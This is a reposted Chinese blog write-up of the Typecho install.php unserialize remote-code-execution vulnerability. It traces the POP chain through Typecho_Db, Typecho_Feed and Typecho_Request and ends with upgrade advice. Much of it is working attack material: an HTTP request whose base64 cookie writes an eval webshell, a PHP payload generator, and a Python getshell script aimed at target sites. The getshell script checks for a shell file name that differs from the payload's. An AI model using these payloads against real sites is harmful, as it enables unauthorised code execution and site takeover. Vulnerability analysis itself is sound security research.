转载--Typecho install.php 反序列化导致任意代码执行

转载--Typecho install.php 反序列化导致任意代码执行

原文链接(http://p0sec.net/index.php/archives/114/)

 

 

0x00 前言

漏洞公布已经过去一段时间了,当时只是利用了一下,并没有进行深度分析,现转载文章以便以后查看。

听说了这个洞,吓得赶紧去看了一下自己的博客,发现自己中招了,赶紧删除install目录。

恶意代码的大致操作顺序:

  1. base64解码后反序列化cookie中传入的__typecho_config参数,
  2. 然后让__typecho_config作为构造参数例化一个Typecho_Db类,
  3. 接着通过POP链进行代码执行。

涉及到的文件还有类名

install.php(unserialize) – >  Db.php(class Typecho_Db)  – >  Feed.php (class Typecho_Feed) – >  Request.php (class Typecho_Request)

 

 

 

 

0x01 Payload

GET /typecho/install.php?finish=1 HTTP/1.1
Host: 192.168.211.169
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer:http://192.168.211.169/typecho/install.php
Connection: close
Upgrade-Insecure-Requests: 1

 

便会在网站根目录下生产一句话p0.php,密码p0

转载--Typecho install.php 反序列化导致任意代码执行_第1张图片

转载--Typecho install.php 反序列化导致任意代码执行_第2张图片

 

 

 

 

 

0x02 反序列化可控点

install.php 288-235行

else : ?>
    php
    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
    Typecho_Cookie::delete('__typecho_config');
    $db = new Typecho_Db($config['adapter'], $config['prefix']);
    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
    Typecho_Db::set($db);
?>

 

 

第230行获取cookie中的__typecho_config值base64解码,然后反序列化。想要执行,只需isset($_GET['finish'])并且__typecho_config存在值。

反序列化后232行把$config['adapter']$config['prefix']传入Typecho_Db进行实例化。然后调用Typecho_DbaddServer方法,调用Typecho_Config实例化工厂函数对Typecho_Config类进行实例化。

 

 

 

 

0x03 反序列化触发点

全局搜索__destruct()__wakeup()

转载--Typecho install.php 反序列化导致任意代码执行_第3张图片

 

只发现了两处__destruct(),跟进去并没发现可利用的地方。

继续看Typecho_Db

构造方法,Db.php 114-135行

public function __construct($adapterName, $prefix = 'typecho_')
{
    /** 获取适配器名称 */
    $this->_adapterName = $adapterName;

    /** 数据库适配器 */
    $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

    if (!call_user_func(array($adapterName, 'isAvailable'))) {
        throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
    }

    $this->_prefix = $prefix;

    /** 初始化内部变量 */
    $this->_pool = array();
    $this->_connectedPool = array();
    $this->_config = array();

    //实例化适配器对象
    $this->_adapter = new $adapterName();
}

 

发现第120行对传入的$adapterName进行了字符串的拼接操作。那么如果$adapterName传入的是个实例化对象,就会触发该对象的__toString()魔术方法。

全局搜索__toString()

转载--Typecho install.php 反序列化导致任意代码执行_第4张图片

 

发现三处,跟进,第一个发现并没有可以直接利用的地方。

跟进Typecho_Query类的__toString()魔术方法,Query.php 488-519行:

public function __toString()
{
    switch ($this->_sqlPreBuild['action']) {
        case Typecho_Db::SELECT:
            return $this->_adapter->parseSelect($this->_sqlPreBuild);
        case Typecho_Db::INSERT:
            return 'INSERT INTO '
            . $this->_sqlPreBuild['table']
            . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
            . ' VALUES '
            . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
            . $this->_sqlPreBuild['limit'];
        case Typecho_Db::DELETE:
            return 'DELETE FROM '
            . $this->_sqlPreBuild['table']
            . $this->_sqlPreBuild['where'];
        case Typecho_Db::UPDATE:
            $columns = array();
            if (isset($this->_sqlPreBuild['rows'])) {
                foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
                    $columns[] = "$key = $val";
                }
            }

            return 'UPDATE '
            . $this->_sqlPreBuild['table']
            . ' SET ' . implode(' , ', $columns)
            . $this->_sqlPreBuild['where'];
        default:
            return NULL;
    }
}

 

第492行$this->_adapter调用parseSelect()方法,如果该实例化对象在对象上下文中调用不可访问的方法时触发,便会触发__call()魔术方法。

全局搜索__call()

转载--Typecho install.php 反序列化导致任意代码执行_第5张图片

 

发现几处,挨个跟进发现Typecho_Plugin类的__call()魔术方法存在回调函数,Plugin.php 479-494行:

public function __call($component, $args)
{
    $component = $this->_handle . ':' . $component;
    $last = count($args);
    $args[$last] = $last > 0 ? $args[0] : false;

    if (isset(self::$_plugins['handles'][$component])) {
        $args[$last] = NULL;
        $this->_signal = true;
        foreach (self::$_plugins['handles'][$component] as $callback) {
            $args[$last] = call_user_func_array($callback, $args);
        }
    }

    return $args[$last];
}

 

$component是调用失败的方法名,$args是调用时的参数。均可控,但是根据上文,$args必须存在array('action'=>'SELECT'),然后加上我们构造的payload,最少是个长度为2的数组,但是483行又给数组加了一个长度,导致$args长度至少为3,那么call_user_func_array()便无法正常执行。所以此路就不通了。

继续跟进Typecho_Feed类的__toString()魔术方法,Feed.php 340-360行

} else if (self::ATOM1 == $this->_type) {
            $result .= '$this->_lang . '"
xml:base="' . $this->_baseUrl . '"
>' . self::EOL;

            $content = '';
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '' . self::EOL;
                $content .= '<![CDATA[' . <span style="color:#800080;">$item</span>['title'] . ']]>' . self::EOL;
                $content .= '$item['link'] . '" />' . self::EOL;
                $content .= '' . $item['link'] . '' . self::EOL;
                $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
                $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
                $content .= '
    ' . $item['author']->screenName . '
    ' . $item['author']->url . '
' . self::EOL;

 

第358行$item['author']调用screenName属性,如果该实例化对象用于从不可访问的属性读取数据,便会触发__get()魔术方法。

全局搜索__get()

转载--Typecho install.php 反序列化导致任意代码执行_第6张图片

 

发现了几处,最终确定Typecho_Request类存在可利用的地方

__get()魔术方法调用get()方法,Request.php 293-309行:

public function get($key, $default = NULL)
{
    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
}

308行调用_applyFilter()方法,传入的$value$this->_params[$key]的值,$key就是screenName

跟进_applyFilter(),Request.php 159-171行:

private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }

        $this->_filter = array();
    }

    return $value;
}

 

第163行array_map和164行call_user_func均可造成任意代码执行。

 

 

 

 

0x04 构造Payload

Payload  exp.php

php

class Typecho_Feed{
    private $_type = 'ATOM 1.0';
    private $_charset = 'UTF-8';
    private $_lang = 'zh';
    private $_items = array();

    public function addItem(array $item){
        $this->_items[] = $item;
    }
}

class Typecho_Request{
    private $_params = array('screenName'=>'file_put_contents(\'p0.php\', \'\')');
    private $_filter = array('assert');
}

$payload1 = new Typecho_Feed();
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp = array('adapter' => $payload1, 'prefix' => 'typecho');
echo base64_encode(serialize($exp));
?>

 

 

编写payload的简单思路:

最外层$exp是数组,数组中的’adapter’是Typecho_Feed的实例$payload1,
$payload1的构造参数是’ATOM 1.0’用于控制分支,
$payload2是Typecho_Request的实例,
private $_filter ,private $_params是传给call_user_func的参数,也就是通过assert写shell
然后$payload2通过additem添加到$payload的$_items的变量中
最后把$payload1添加到最外层的$exp数组中

 

 

 

Getshell  exp.py

import requests
import os
 
if __name__ == '__main__':
    print ''' ____          ____      _ _  _
| __ ) _  _  |  _ \ __ _(_) || |  _____  _____ _ __
|  _ \| | | |  | |_) / _` | | || |_ / _ \ \ / / _ \ '__|
| |_) | |_| |  |  _ < (_| | |__  _| (_) \ V /  __/ |
|____/ \__, |  |_| \_\__,_|_|  |_|  \___/ \_/ \___|_|
      |___/
    '''
 
    targert_url = 'http://www.xxxxxxxx.xyz';
 
    rsp = requests.get(targert_url + "/install.php");
    if rsp.status_code != 200:
        exit('The attack failed and the problem file does not exist !!!')
    else:
        print 'You are lucky, the problem file exists, immediately attack !!!'
 
    proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", }
 
    typecho_config = os.popen('php exp.php').read()
 
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',
              'Cookie': 'antispame=1508415662; antispamkey=cc7dffeba8d48da508df125b5a50edbd; PHPSESSID=po1hggbeslfoglbvurjjt2lcg0; __typecho_lang=zh_CN;__typecho_config={typecho_config};'.format(typecho_config=typecho_config),
              'Referer': targert_url}
 
    url = targert_url + "/install.php?finish=1"
 
    requests.get(url,headers=headers,allow_redirects=False)
 
    shell_url = targert_url + '/usr/themes/default/img/c.php'
    if requests.get(shell_url).status_code == 200:
        print 'shell_url: ' + shell_url
    else:
        print "Getshell Fail!"

 

 

 

 

0x05 修补方法

  • 官方已经发布了1.1Beta版本修复了该漏洞,升级该版本,链接:http://typecho.org/archives/133/
  • 也可以删除掉install.php和install目录。

 

 

 

 

注:代码仅用于学习研究,请勿用于非法用途恶意攻击,概不负责。

转载于:https://www.cnblogs.com/Oran9e/p/7868854.html

你可能感兴趣的:(转载--Typecho install.php 反序列化导致任意代码执行)